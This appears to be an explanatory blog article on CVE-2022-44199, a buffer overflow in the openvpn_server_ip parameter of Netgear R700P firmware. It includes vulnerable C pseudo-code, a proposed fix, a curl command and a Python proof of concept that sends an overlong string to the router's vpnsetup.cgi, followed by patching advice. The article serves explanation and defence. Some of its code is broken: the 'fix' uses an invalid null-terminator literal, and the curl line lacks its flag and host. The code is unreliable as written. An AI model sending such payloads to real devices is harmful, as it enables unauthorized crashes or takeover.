In today’s world, securing our home networks is more important than ever. Routers serve as the first line of defense, controlling who and what accesses your network. However, even popular home routers like the Netgear R700P are not immune to security flaws. In this article, we’ll dive deep into CVE-2022-44199, a critical buffer overflow vulnerability found in Netgear R700P V1.3.1.64, specifically involving the openvpn_server_ip parameter. We’ll break down how this bug works, demonstrate it with code, and provide resources to protect your devices.
What is CVE-2022-44199?
CVE-2022-44199 is an identified and cataloged security weakness allowing remote attackers to execute arbitrary code on Netgear R700P routers running firmware version V1.3.1.64. The vulnerability arises from improper handling of the openvpn_server_ip parameter, which can be abused to create a buffer overflow—potentially letting an attacker take control of your router.
Official reference:
- NIST NVD - CVE-2022-44199
- ZDI Advisory
The Vulnerable Code: What Goes Wrong
Home routers often let users activate an OpenVPN server. Devices expect you to input an IP address for the VPN server to use. The bug is that Netgear does not properly check the length or content of what gets entered for openvpn_server_ip. If a user (or attacker) enters a string much longer than expected, the router’s software can be tricked into overwriting memory—causing unpredictable or malicious code execution.
Here’s what the logic roughly looks like (simplified pseudo-code)
char buffer[64]; // Allocated to store the IP
char *input = get_param("openvpn_server_ip"); // Attacker-controlled
// BAD: No length check!
strcpy(buffer, input); // This will overflow if input > 64 characters
What Should Happen (Safe Code)
strncpy(buffer, input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\';
Exploitation: How an Attacker Can Break In
The buffer overflow flaw can be exploited in multiple ways. Here’s a simple example to help you understand the basics.
Attacker Accesses Router’s Web Interface:
The attacker must have access to the device’s management interface—this could be due to default passwords, weak network security, or an insider threat.
Send Overlong Input to openvpn_server_ip:
Using tools like curl, Burp Suite, or a simple web request, the attacker provides a very long string to the expected IP field:
d "openvpn_server_ip=$(python -c "print('A'*128)")" \
https:///cgi-bin/vpnsetup.cgi
`
Here, the string of "A"s greatly exceeds the expected size. This overwrites parts of memory past the intended buffer.
Achieve Code Execution:
Depending on the router’s architecture and system state, the attacker could use a crafted payload (instead of “A”s) to change how the router’s code works. This could grant the attacker full remote code execution—installing malware, redirecting traffic, or permanently disabling your device.
Demonstration: Proof of Concept (PoC)
> Disclaimer: This is for educational purposes only. Do NOT attempt without authorization.
import requests
router_ip = "192.168.1.1"
url = f"https://{router_ip}/cgi-bin/vpnsetup.cgi";
payload = "A" * 128 # Attacker controls content; can be replaced with shellcode in real attack
data = {
"openvpn_server_ip": payload
}
# Typically, authentication is required -- session or cookies must be included.
response = requests.post(url, data=data, verify=False)
print(f"Status: {response.status_code}")
print(response.text)
If the router is unpatched and vulnerable, this could crash the service, cause a reboot, or—on a finely-crafted attack—initiate a more advanced payload.
Update Firmware:
Always keep your router’s firmware up to date. Netgear has provided patches to fix this vulnerability.
- Netgear Support Downloads
Subscribe to Netgear’s security advisories:
Conclusion
CVE-2022-44199 is a serious buffer overflow flaw that lets attackers exploit Netgear R700P routers via faulty handling of the openvpn_server_ip parameter. Buffer overflows like these are among the oldest and most dangerous types of software bugs, often resulting in full system compromise. Ensuring your firmware is always current and restricting admin access are the best ways to protect your network.
For more technical details and the original disclosures, see:
- NVD Entry: CVE-2022-44199
- ZDI-22-1496 Advisory
Timeline
Published on: 11/22/2022 14:15:00 UTC
Last modified on: 11/23/2022 18:35:00 UTC